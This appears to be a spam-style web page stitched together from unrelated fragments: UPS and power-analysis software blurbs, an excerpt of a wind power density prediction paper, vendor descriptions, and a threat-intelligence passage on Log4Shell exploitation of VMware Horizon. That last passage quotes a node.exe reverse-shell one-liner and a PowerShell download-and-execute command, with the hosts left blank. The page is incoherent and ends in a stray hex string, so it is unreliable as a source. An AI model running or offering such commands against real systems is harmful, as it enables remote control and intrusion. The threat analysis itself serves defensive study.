"A year of investigations and an exhaustive technical police analysis of all the communications of the sabotaged sensors, as well as the data related to the intrusion in the computer system whose origin could be located in the public use network of a well-known establishment of hospitality in the center of Madrid, allowed to identify the authors of the cyberattack." - Policia National
PowerMaster+ management software provides comprehensive advanced power management. It controls unattended shutdowns, scheduled shutdowns, and notifications for computers powered by the UPS (Uninterruptible Power Supply).
Computer Analysis Of Power Systems Rar
This software allows users remote access (from any network PC with a web browser) to critical power information, including battery condition, load levels, and runtime information. It also includes OS shutdown, event logging, internal reports and analysis, remote management, and more.
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Ideal for Home/SOHO users, PowerGuide management software provides a user-friendly interface for your power systems. The graphic user-interface is intuitive and displays essential power information at a glance. Download today to explore more functions of PowerGuide management software.
However, wind energy is unstable and subject to intermittent characteristics thus, the accurate prediction of the wind speed and the wind power is a vital part of the successful establishment of the wind energy conversion system [7]. Again, to build a wind farm in any particular location, analysis of wind data, estimation of wind power and energy density are essential [8, 9]. The wind power density (WPD) of a particular location is the measure of the potentiality of wind resources and the chance of extracting wind energy at different wind speed from that location. The knowledge of WPD also helps the designer and investor to understand the performance of wind turbine and to choose the optimal number of a wind turbine with a suitable power rating [10, 11].
Figs 14 and 15 show the error distribution, RMSE, and MAPE whereas, Fig 16 presents regression analysis when training and testing data sets of Mersing were applied on ANFIS-PSO and ANFIS-GA prediction models. It can be observed from Figs 15 and 16 that most of the wind power values obtained via the proposed ANFIS-PSO and ANFIS-GA model fall within the range of -5% up to +5%. The RMSE were 5.72 and 4.82 when testing the ANFIS-PSO and ANFIS-GA respectively. It is mentioned in section 5.1 that the R2 is the correlation between measured and predicted WPD, which has the highest value of one. In Fig 17, the R2 were 0.9899 and 0.9703 when testing the ANFIS-PSO and ANFIS-GA respectively.
Similarly, Figs 17 and 18 show the error distribution, RMSE, and MAPE whereas, Fig 19 presents regression analysis when training and testing data sets of Langkawi were applied on ANFIS-PSO and ANFIS-GA prediction models. It can be observed from Figs 18 and 19 that most of the wind power values obtained via the proposed ANFIS-PSO and ANFIS-GA model fall within the range of -5% up to +5%. The RMSE were 1.76 and 2.11 when testing the ANFIS-PSO and ANFIS-GA respectively. It is mentioned in section 5.1 that the R2 is the correlation between measured and predicted WPD, which has the highest value of one. In Fig 19, the R2 were 0.9844 and 0.9701 when testing the ANFIS-PSO and ANFIS-GA respectively.
The wind energy potential assessment is very important for independent power producer and governmental organization to determine how efficiently wind power can be extracted from a certain location. The wind power density (WPD) is the key assessment parameter in wind potentiality analysis. Therefore, an efficient soft computing technique based on ANFIS-PSO, ANFIS-GA, ANFIS-DE and standalone ANFIS prediction models were developed in this paper to predict long-term (monthly and weekly) average wind power density of four different locations in Malaysia. The choice of the ANFIS technique was made due to its simplicity, reliability as well as its efficient computational capability; its ease of adaptability to optimization and other adaptive techniques, and its adaptability in handling complex parameters. The most significant advantage of hybrid ANFIS is that PSO/GA/DE tune the membership functions of the ANFIS model to ensure minimum error. The prediction models were trained and tested using wind speed data collected from meteorological stations of the underlying locations and measured wind power density. Moreover, different training and testing data size were applied to the prediction models to obtain best data size that provides a minimal error. The first 80% of data used for training and remaining 20% data for testing provide the optimal error in WPD prediction. Based on the result from best data size, there is no model that performed uniformly superior to other for all locations in both training and testing stages. Overall, ANFIS-PSO and ANFIS-GA out-performed ANFIS standalone and ANFIS-DE. Therefore, the results and analysis confirmed that the proposed hybrid ANFIS, especially ANFIS-PSO and ANFIS-GA have the excellent capability to predict the WPD with higher accuracy and precision. Other soft computing techniques applicable to wind speed and power density prediction for other parts of the world can be developed and compare with hybrid ANFIS in the further study.
TopSpin offers a fully workflow-oriented user interface and leverages the latest 64-bit features of modern Windows / CentOS / macOS operating systems for optimal performance. The software is designed to accelerate the operation and throughput of sample analysis for increased cost efficiency.
DIgSILENT GmbH is an independent software and consulting company providing highly specialised services in the field of electrical power systems for transmission, distribution, generation, industrial plants and renewable energy. DIgSILENT's innovative product portfolio comprises PowerFactory, StationWare and Monitoring Systems.
PowerFactory is a leading power system analysis software application for use in analysing generation, transmission, distribution and industrial systems. It covers the full range of functionality from standard features to highly sophisticated and advanced applications including windpower, distributed generation, real-time simulation and performance monitoring for system testing and supervision.
Our Power System Monitoring PFM300 product line features grid and plant supervision, fault recording, power quality and grid characteristics analysis. The Grid Code Compliance Monitoring PFM300-GCC product has been designed for continuous compliance auditing of power plants with respect to grid code requirements.
One way that such systems can perceive their environment is through vision. The study of how computers can understand and interpret visual information from static images and video sequences emerged in the late 1950s and early 1960s. It has since grown into a powerful technology that is central to the country's industrial, commercial, and government sectors. The key factors that have contributed to this growth are the exponential growth of processor speed and memory capacity as well as algorithmic advances.
Additionally, some systems for distributing files do not accept executable files in order to prevent the transmission of malicious programs. These systems disallow self-extracting archive files unless they are cumbersomely renamed by the sender to, say, somefiles.exe, and later renamed back again by the recipient. This technique is gradually becoming less effective, however, as an increasing number of security suites and antivirus software packages instead scan file headers for the underlying format rather than relying on a correct file extension. These security systems will not be fooled by an incorrect file extension, and are particularly prevalent in the analysis of email attachments.
Cisco Talos identified the exploitation of the Log4Shell vulnerability on VmWare Horizon public-facing servers as the initial attack vector [T1190]. The compromise is followed by a series of activities to establish a foothold [TA0001] on the systems before the attackers deploy additional malware and move laterally across the network. During our investigation, we discovered two different foothold payloads. In the first, the attackers abusenode.exe, which is shipped with VMware to execute the onelinernode.exescript below. C:"Program Files"\VMware"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(, '', function()client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client););" This essentially opens an interactive reverse shell that attackers could use to issue arbitrary commands on the infected entry endpoint.In another instance, we observed the attackers exploiting vulnerabilities in VMWare to launch custom PowerShell scripts on the infected endpoint via VMWare'sws_ConnectionServer.exe:powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(' ') Since VMWare Horizon is executed with administrator privileges, the attacker doesn't have to worry about elevating their privileges.After the interactive shell is established, the attackers perform a preliminary reconnaissance on the endpoint to get network information and directory listings [T1083], [T1590], [T1518]: 2ff7e9595c
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